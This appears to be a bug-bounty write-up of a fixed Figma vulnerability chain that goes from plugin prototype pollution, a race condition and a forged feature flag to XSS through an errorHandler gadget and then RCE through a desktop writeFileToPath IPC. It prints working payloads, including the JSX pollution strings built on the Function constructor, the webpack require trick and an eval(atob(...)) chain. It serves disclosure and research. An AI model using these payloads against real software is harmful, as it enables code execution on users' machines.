Important Note :

Before getting into the details, I want to note upfront that Figma responded and fixed the issue within a few hours. At no point were customer environments exposed.

With that context, here’s the write-up of what we found and how it was handled:*

TL;DR A benign-looking counter function inside Figma’s variant-handling code (eG) was vulnerable to prototype pollution. On its own it just crashed the app. But by letting the plugin context survive the crash of the main context, winning a race against $INTERNAL_DO_NOT_USE$RERUN_PLUGIN$, and flipping the jsx_debugging feature flag, I unlocked a second, far more powerful prototype pollution inside figma.jsx.deserialize’s expression evaluator. From there, a polluted errorHandler gadget turned pollution into XSS, and a forgotten writeFileToPath IPC on the Electron desktop app turned XSS into cross-platform, zero-click RCE all triggered by a victim running a published Figma plugin.

This is the long version of how that chain came together, and more importantly, how I thought about it.


0. Why I kept looking after “it’s not exploitable”

I’d already dug into Figma’s client-side architecture for previous reports. Every time I looked, I came away with the same conclusion: the sandbox is solid, the public plugin API is hardened, and nothing interesting leaks across the trust boundary. My previous reports literally said “sandbox escape was not possible”.

But one question kept bugging me:

What if I could just get access to one of the APIs that Figma only gives to its own developers?

Not break the sandbox directly. Not find a parser bug in a public API. Just… change which APIs the plugin is allowed to see. That framing is what eventually cracked the whole thing open, so before we dive into code, it’s worth internalizing it: when a sandbox is too well-designed to break head-on, go after the configuration that decides what’s in the sandbox in the first place.


1. A quick primer on how Figma plugins actually run

If you’ve never hunted on Figma, a one-paragraph mental model will make the rest of the writeup much easier to follow.

Figma is a web app (and an Electron desktop wrapper around that web app). When you run a plugin, it doesn’t execute in the same JavaScript realm as the Figma editor UI. Instead, Figma spins up a JSVM an internal JavaScript VM and the plugin code runs inside that. The plugin talks to the main Figma app through a carefully curated bridge: figma.createComponent(), figma.currentPage, figma.combineAsVariants(...), and so on. Each of those figma.* methods is explicitly registered on the VM side and backed by a callback that runs in the main (trusted) context.

So there are three realms to keep in your head:

  1. Plugin realm (JSVM) runs untrusted plugin code. Limited API.
  2. Main context the Figma editor UI. Trusted. Runs the real app state, the React tree, feature flags, etc.
  3. Desktop shell for the Electron client, there’s also a main-process side with privileged IPC handlers.

The callbacks on the JSVM bridge (things like the one for figma.jsx.deserialize) are the places where data flows from the plugin realm into the main context. That’s where expression parsers, deserializers, and any “just a helper” function become extremely interesting.

Keep this picture in your head: plugin → bridge callback → main context → (for desktop) IPC → main process. That’s the ladder we’re going to climb.


2. Bug #1 A counter function with a prototype pollution inside it

While grepping through the bundled JS, I hit this tiny arrow function called eG. Its job is to count how many times each property=value combination appears across a set of Figma variants (variants are basically states of a component think state=hover, state=pressed).

let eG = e => {
    let t = {};
    for (let i of e)
        if (i.stateInfo.propertyValues)
            for (let [e, r] of Object.entries(i.stateInfo.propertyValues))
                t[e] = t[e] || {},
                t[e][r] = (t[e][r] || 0) + 1;
    return t
};

Read it slowly. t is a plain object literal, so it inherits from Object.prototype. Then user-controlled variant data is used as the keys e and r:

t[e] = t[e] || {};
t[e][r] = (t[e][r] || 0) + 1;

If I can make e === "__proto__", then t["__proto__"] is Object.prototype, and the next line writes Object.prototype[r] to an integer. Textbook prototype pollution.

2.1 The UI blocks it. The plugin API doesn’t.

If you try to literally name a variant property __proto__ in the Figma UI, it gets blocked. Fair enough. But the plugin API doesn’t apply the same sanitization:

const c1 = figma.createComponent();
c1.name = "__proto__=poc";

const c2 = figma.createComponent();
c2.name = "state=loading";

const set = figma.combineAsVariants([c1, c2], figma.currentPage);
set.name = "Button";

This is a classic bug-bounty shape and worth filing away: a UI-layer denylist that isn’t mirrored in the programmatic API. When you see sanitization on the frontend, always ask “does the backend API enforce this too?” and on Figma, “backend” very often means the plugin bridge.

2.2 The problem: this pollution crashes the entire app

When eG runs with __proto__ in the mix, it does:

let t = {};
t["__proto__"]["poc"] = 1;  // Object.prototype.poc = 1

Normal assignment creates properties with enumerable: true by default. And that’s what tanks everything. Once Object.prototype.poc is enumerable, every for...in loop, every Object.keys on an inherited-aware path, every framework hot path that iterates over object keys suddenly sees a poc property that shouldn’t exist. Figma’s main context hits an unexpected key in code that was never built to tolerate one, and the editor dies on the spot.

So from the surface this looks like a DoS at best. Not exciting.

2.3 The insight: the plugin survives the crash

Here’s the detail that turns this from “noisy DoS” into “foothold.” When the main context crashes, the JSVM keeps running. The plugin is in a separate realm its own heap, its own event loop-ish execution. The editor UI being on fire doesn’t stop my plugin code from continuing to execute.

That means the sequence

  1. Plugin pollutes Object.prototype.X
  2. Main context crashes
  3. Plugin keeps going

leaves me in a very weird state: I’m alive, the UI is dead, and any code in the main context that reads a property off a plain object is now reading my polluted value.

Now the question becomes: is there anything useful the main context reads off plain objects that I’d love to control?


3. Picking the right feature flag to forge

Figma, like every SaaS at scale, gates internal/unreleased APIs behind feature flags. In the bundle these look like (0, S.kc)().some_flag_name a function call that returns an object, and then a property read off it. Reads like that go through Object.prototype lookups when the own property is missing.

So with prototype pollution, I can make feature flags that don’t exist on the real config object appear to be true by writing them to Object.prototype.

The only question is which flag is worth forging. I went flag-hunting.

The winner was jsx_debugging. When it’s on, Figma attaches a jsx sub-API to the VM object, most notably figma.jsx.deserialize. Here’s the gated code in the bundle:

((0, S.kc)().jsx_debugging || (0, S.kc)().internal_only_debug_tools) && this.defineVmProp({
    handle: v,
    key: "jsx",
    options: {
        enumerable: !1,
        value: this.createJsxApi()
    },
    canWriteInReadOnly: !1,
    isAllowedInWidgetRender: !1,
    hasEditScope: !1
}),

figma.jsx.deserialize takes a JSX string, parses it, and evaluates the JSX expression containers ({ ... }) as real JavaScript-ish expressions. That sound you just heard is every hacker’s ears perking up. If I can flip jsx_debugging and call that function, I’m holding a mini expression evaluator that runs in the main Figma context. That’s a vastly more powerful primitive than the integer-only counter pollution I started with.


4. Bug #2 Prototype pollution inside figma.jsx.deserialize

Let’s trace figma.jsx.deserialize from the JSVM entrypoint down to the part that actually executes user code. This is the core gadget, so I’m going to walk every hop.

4.1 The VM callback

cb: (t, i) => {
    if (!e.isString(t)) throw Error("jsx not a string");
    let r = e.toString(t);
    ...
    return e.registerPromise(rz(r, n));
}

Nothing fancy it type-checks, coerces to a string, and hands it to rz.

4.2 rzdeserializeJSXo2

async function rz(e, t = { includeIDs: !0 }) {
    let i = (await (0, rB.LZ)(e, t)).node;
    return i?.guid;
}

async function a(e, t = { includeIDs: !1 }) {
    let i = await r();
    return await i.deserializeJSX(e, t);
}

async function o8(e, t = {}) {
    return y({
        step: u.S4.DESERIALIZE,
        sourceContext: t.jsxTrackingContext,
        operation: async () => o2(e, t),
        ...
    });
}

async function o2(e, t = {}) {
    let i = o.S$(e)?.[0];
    if (!i) return { node: null, generationRequests: [], issues: [] };
    let r = await o3(i, t);
    ...
    return r;
}

The important call is o.S$(e), where S$ is:

S$: () => p

function p(e, t) {
    return (t?.strict
        ? new c(e, s.parseStrict, !t.excludeLocations)
        : new c(e, s.parseLoose, !t?.excludeLocations)
    ).parseAndStringifyExpressions();
}

That method name is doing a lot of heavy lifting: parseAndStringifyExpressions. So the parser isn’t just parsing JSX it’s actively evaluating expressions.

4.3 Expression evaluation begins

parseAndStringifyExpressions() {
    return this.context = { stringifyJSXExpressionContainers: !0 }, this.parseInternal();
}

case "JSXExpressionContainer":
    return this.parseExpression(e.expression, t);

Every { ... } inside JSX gets fed back into parseExpression. Now let’s look at the three AST node types that make this whole thing work.

Identifier resolution this is the money shot:

case "Identifier":
    if (t && e.name in t) return t[e.name];
    return ({})[e.name];

If the identifier isn’t bound in the current scope t, it’s resolved against a fresh empty object literal: ({})[name]. At a glance this looks safe a fresh object has no properties but an empty object inherits Object.prototype, and Object.prototype has real, useful properties. Including:

({})["constructor"]  // === Object

So the identifier constructor resolves to the Object constructor. That’s the single most important observation in this bug. The sandbox designers assumed unbound identifiers would return undefined, but ({})[name] happily walks the prototype chain.

Member expression resolution:

parseMemberExpression(e, t) {
    let { object: i } = e, s = [e.property?.name ?? JSON.parse(e.property?.raw ?? '""')];
    ...
    let a = this.parseExpression(i, t);
    let t = s.reduce((t, i) => (e = t, t[i]), a);
    if ("function" == typeof t) return t.bind(e);
    return t;
}

This walks a chain like constructor.defineProperties and critically when it lands on a function it .binds it to its receiver. So ({}).constructor.defineProperties comes back as a callable bound to Object.

Call expressions:

case "CallExpression":
    let o = this.parseExpression(e.callee);
    if (void 0 === o) { ... }
    return o(...e.arguments.map(t => this.parseExpression(t, e.callee)));

Resolved function. Resolved arguments. Actual call. Inside the main Figma context.

4.4 Putting it together

With those three AST nodes wired up, a payload like this becomes legal “JSX”:

<Frame d={
    ({}).constructor.defineProperties(
        ({}).constructor.prototype,
        {
            testpollute: { enumerable: false, configurable: true },
            current:     { enumerable: false, configurable: true }
        }
    )
}/>

Step by step:

  • ({}).constructorObject
  • ({}).constructor.definePropertiesObject.defineProperties, bound to Object
  • ({}).constructor.prototypeObject.prototype
  • The CallExpression fires and mutates Object.prototype directly.

A quick but important caveat: this parser is not eval. It doesn’t have a global scope, it doesn’t give you access to window, and it only implements a small subset of AST nodes. You can only call functions you can reach through identifier + member-expression chains, and you can only pass arguments the parser knows how to evaluate. So “arbitrary JS” is an overstatement what you actually get is “any function reachable from ({})[name]”, which turns out to include Object, Object.defineProperty, Object.defineProperties, and crucially Object.constructor (the Function constructor, which we’ll need later).

The huge upgrade over Bug #1 is that I can now set enumerable: false. That alone fixes the “main context crashes” problem for any pollution I do through this path which is exactly what I’ll need to keep the app alive while I exploit it.


5. The race condition forging a feature flag long enough to use it

Okay, time to slow down, because the timing here is the cleverest part of the chain and easy to gloss over.

Here’s the situation I’m actually in:

  • I need the feature flag check (0, S.kc)().jsx_debugging to hit a polluted Object.prototype so that jsx_debugging reads back true. The plugin’s JSX API (figma.jsx) is attached based on that flag.
  • But the pollution I have from Bug #1 is enumerable, which crashes the main context.
  • The flag check only runs during plugin initialization. If the plugin is already running when I pollute, flipping the flag does me no good the check has already happened.
  • So I need to restart the plugin after the pollution lands.
  • Restarting the plugin is done by sending $INTERNAL_DO_NOT_USE$RERUN_PLUGIN$ via postMessage. But that message is handled by the main context. If the main context is too crashed to process postMessages, the restart never happens.

Read those five bullets together and you have a textbook race-condition shape:

I need the main context to be alive enough to process a postMessage handler and re-init the plugin, but polluted enough at the moment of the feature-flag read that jsx_debugging comes back true.

The good news is that “crashed” isn’t instantaneous. The main context tears down over many frames because the enumerable property only causes errors when someone actually iterates a plain object. So there’s a narrow window where the postMessage pump is still turning and Object.prototype.jsx_debugging is already set. If I fire the restart inside that window, the new plugin instance will see jsx_debugging === true during its init path and get figma.jsx.deserialize attached.

Brute-forcing timings is ugly but effective. After a lot of trial and error I got the success rate up to ~99%. One funny, very bug-bounty detail: the race only wins when the plugin is published, not when it’s run locally. Published plugins go through a slightly different load path with slightly different performance characteristics, and that difference is just enough to tip the timing in my favor. If you’re ever chasing a timing bug on Figma and failing, try publishing privately before giving up.

(The exact brute-forcing loop lives in the attached plugin code it’s long and not that interesting conceptually; the takeaway is: “restart repeatedly and hope the timings line up,” with the window opened by Bug #1’s pollution.)


6. Cleaning up the crime scene with figma.jsx.deserialize

Once the race is won and I’ve got figma.jsx.deserialize exposed to the plugin, my first move is to un-crash the main context.

The reason the main context was crashing was that jsx_debugging (and friends) existed on Object.prototype with enumerable: true. figma.jsx.deserialize lets me call Object.defineProperty with enumerable: false, which keeps the flag logically true (it’s still on the prototype) but hides it from iteration:

figma.jsx.deserialize(
  '<Frame d={({}).constructor.defineProperties(({}).constructor.prototype,{jsx_debugging:{enumerable:false,configurable:true},current:{enumerable:false,configurable:true}})}/>'
);

The moment this runs, for...in loops stop tripping over jsx_debugging, and the main context recovers. The editor is alive again, the app looks normal, but Object.prototype.jsx_debugging === true still and so does anything else I decide to plant.

Now I have a stable, non-crashing Figma, with an expression evaluator inside the trusted main context and full control of the prototype chain. Time to turn that into actual JavaScript execution.


7. From prototype pollution to XSS the errorHandler gadget

Prototype pollution gives me values on arbitrary property reads. To get code execution I need a gadget: a place where the main context reads a function-typed value off a plain object and then calls it. Destructuring with defaults is the classic shape for this, and Figma has a beautiful example in its plugin VM setup:

let {
    apiVersion: i,
    ...
    errorHandler: y,
    isLocal: b,
    ...
} = e;

That destructuring pulls errorHandler off e using a regular property access. If e doesn’t have its own errorHandler, JavaScript walks the prototype chain and happily returns Object.prototype.errorHandler. Which I control.

Then later:

return j.setErrorHandler(t => {
    let r = "";
    try { r = j.toString(t.handle) } catch (e) { ... }
    ...
    el({ message: r, raw_stack: n, pluginID: e.pluginID, apiVersion: i }),
    y && y(r)
});

y is the destructured handler. It’s stored as-is:

setErrorHandler(e) {
    this.errorHandler = e
}

And it gets invoked whenever a plugin throws:

try {
    this.executionDepth++;
    let e = et.call(r, n, s);
    return { type: "SUCCESS", handle: ei(this, e) }
} catch (t) {
    Z.error(t);
    let e = new w.wC(this, ei(this, t));
    return 1 === this.executionDepth && this.errorHandler(e), {
        type: "FAILURE",
        error: e
    }
} finally {
    this.executionDepth--
}

So the gadget is: pollute Object.prototype.errorHandler with a function, then throw something in the plugin. The function is called in the main Figma context. That’s arbitrary JS execution in the trust boundary I care about.

7.1 But wait, the JSX evaluator can’t write function() {}

Here’s the fun subproblem. figma.jsx.deserialize’s tiny AST subset doesn’t include function literals. I can’t type function() { alert(1) } inside a JSX expression. So how do I get a real function object onto Object.prototype?

The answer is the same pattern we used to reach Object: walk the prototype chain until you land on something useful. ({}).constructor is Object, and ({}).constructor.constructor is Function the constructor that turns strings into real, callable function objects. That’s our loophole:

({}).constructor.constructor("err", "alert(document.domain)")

That returns a genuine function (err) { alert(document.domain) } object. Now feed it into defineProperty:

<Frame d={
  ({}).constructor.defineProperty(
    ({}).constructor.prototype,
    "errorHandler",
    {
      value: ({}).constructor.constructor("err", "alert(document.domain)"),
      configurable: true,
      writable: true,
      enumerable: false
    }
  )
}/>

Note the enumerable: false I learned my lesson from Bug #1. The whole point of this write is to be invisible to iteration so the app stays alive.

At this point, Object.prototype.errorHandler is a real function I control. But there’s one more subtle gotcha: errorHandler is read off e during plugin init, not on every throw. My plugin already initialized before I planted errorHandler. So it’s still holding a reference to the old (undefined) handler.

The fix is, of course, to restart the plugin again using the same postMessage trick:

parent.postMessage("$INTERNAL_DO_NOT_USE$RERUN_PLUGIN$", "*");

This time, with the main context fully restored (non-enumerable pollution), the restart just works. The new plugin instance re-destructures e, reads errorHandler off Object.prototype, and stores my function. Then I do:

throw new Error("poc");

…and alert(document.domain) pops in the main Figma context.

That’s XSS inside Figma’s origin, from a plugin, with no suspicious user interaction beyond “click run.”


8. XSS → RCE on the Electron desktop app

On Figma Desktop (Electron), an XSS in the renderer is only half the journey. Electron’s sandbox and context isolation should protect the Node side. But if any IPC handler exposed to the renderer does something dangerous with its arguments, that’s your bridge.

I pulled the desktop app’s app.asar, cracked it open, and grepped the IPC handlers. This one stopped me cold:

B.onPromise("writeFileToPath", async (n, t) => {
  try {
    let r = ke.dirname(t.path);
    if (await Ge.ensureDir(r), t.denyOverwritingFiles && await Ge.pathExists(t.path))
      throw new Error("File already exists and overwriting files is not allowed - please update preferences if you want to allow overwriting files");
    return await Ge.writeFile(t.path, Buffer.from(t.blob), { encoding: "binary" }),
      Promise.resolve()
  } catch (r) {
    return Ve.error(`writeFileToPath failed: ${r}`), Promise.reject(r)
  }
});

Read that handler carefully. It takes a caller-supplied path, happily ensureDirs the parent directory, and unless the caller asked for denyOverwritingFiles: true (why would an attacker?), it writes raw bytes to disk with no path validation, no allowlist, no user prompt.

Translation: any renderer-side JS that can call this IPC can write arbitrary bytes to any path the Figma process has permission to touch. On Windows that includes the user’s Startup folder (persistence), %APPDATA% (drop a malicious DLL for some app’s next launch), or the user’s own binaries. On macOS/Linux, same idea with different paths. Cross-platform RCE is now just a matter of where you write the file.

8.1 Reaching the IPC from renderer JS

The IPC isn’t exposed on window directly it lives inside a webpack module. To reach it from my XSS context, I abused webpack’s own chunk-loading mechanism to get hold of its internal require:

let wpRequire;

// Push a sentinel chunk; webpack hands us its require in the callback.
window.webpackChunk_figma_web_bundler.push([['test'], {}, (req) => {
    wpRequire = req;
}]);

if (wpRequire) {
    try {
        // Load the internal desktop module by its numeric id.
        let desktopModule = wpRequire('732838');
        window.__desktopModule = desktopModule;
    } catch(e) {
        console.log('Error loading module:', e);
    }
}

// Grab the privileged IPC bridge object.
let api = window.__desktopModule.eD.api;

let content = new TextEncoder().encode(
    'XSS to RCE vulnerability confirmed - ' + new Date().toISOString()
);

api.promiseMessage('writeFileToPath', {
    path: 'C:\\Users\\lolrce\\POC\\POCDAVEN.exe',
    blob: Array.from(content),
    denyOverwritingFiles: false
}).then(() => console.log('SUCCESS'))
  .catch(e => console.log('Failed:', e));

The webpack trick here is worth remembering on its own: if the renderer is a webpack bundle, window.webpackChunk_<name>.push with a callback third argument leaks the internal require function. From there you can load any module in the bundle by id and reach things the app never meant to expose on globals.


9. The final single-payload chain

Everything collapses into one JSX string that, when passed to figma.jsx.deserialize, pollutes Object.prototype.errorHandler with a function that runs the webpack → IPC → writeFileToPath payload:

figma.jsx.deserialize(
  '<Frame d={({}).constructor.defineProperty(({}).constructor.prototype,"errorHandler",{value:({}).constructor.constructor("err","eval(atob(`BASE64RCECODE`))"),configurable:true,writable:true,enumerable:false})}/>'
);

…where BASE64RCECODE is base64 of the webpack-require + writeFileToPath exploit above.

Zoomed out, the full chain the plugin drives looks like this:

  1. Seed. Create variants with a __proto__=poc property name via figma.createComponent + figma.combineAsVariants. Select them to trigger eG → Bug #1 prototype pollution → main context starts crashing.
  2. Race. Brute-force $INTERNAL_DO_NOT_USE$RERUN_PLUGIN$ postMessages during the narrow “alive-enough-to-postMessage but already-polluted” window, so that the plugin re-inits while Object.prototype.jsx_debugging === true. The new plugin instance gets figma.jsx.deserialize attached.
  3. Stabilize. Use figma.jsx.deserialize to redefine jsx_debugging with enumerable: false. Main context recovers; editor is healthy again.
  4. Plant the gadget. Use figma.jsx.deserialize to set Object.prototype.errorHandler to Function("err","eval(atob('...'))"), also non-enumerable.
  5. Re-init. Send another $INTERNAL_DO_NOT_USE$RERUN_PLUGIN$ so the plugin VM re-reads errorHandler from the (polluted) prototype.
  6. Detonate. throw new Error("poc") inside the plugin → VM’s error path calls the polluted errorHandler → my JS runs in the main Figma origin → webpack require trick reaches the writeFileToPath IPC → arbitrary file write as the Figma desktop process → cross-platform RCE.

From the victim’s perspective? They ran a published Figma plugin. That’s it. No consent dialogs, no suspicious prompts, no second click. Zero-click-from-running-a-plugin cross-platform RCE.

Thank you

Thank you for reading this and thank you so much to all the Critical Thinking team that is always providing very cool content !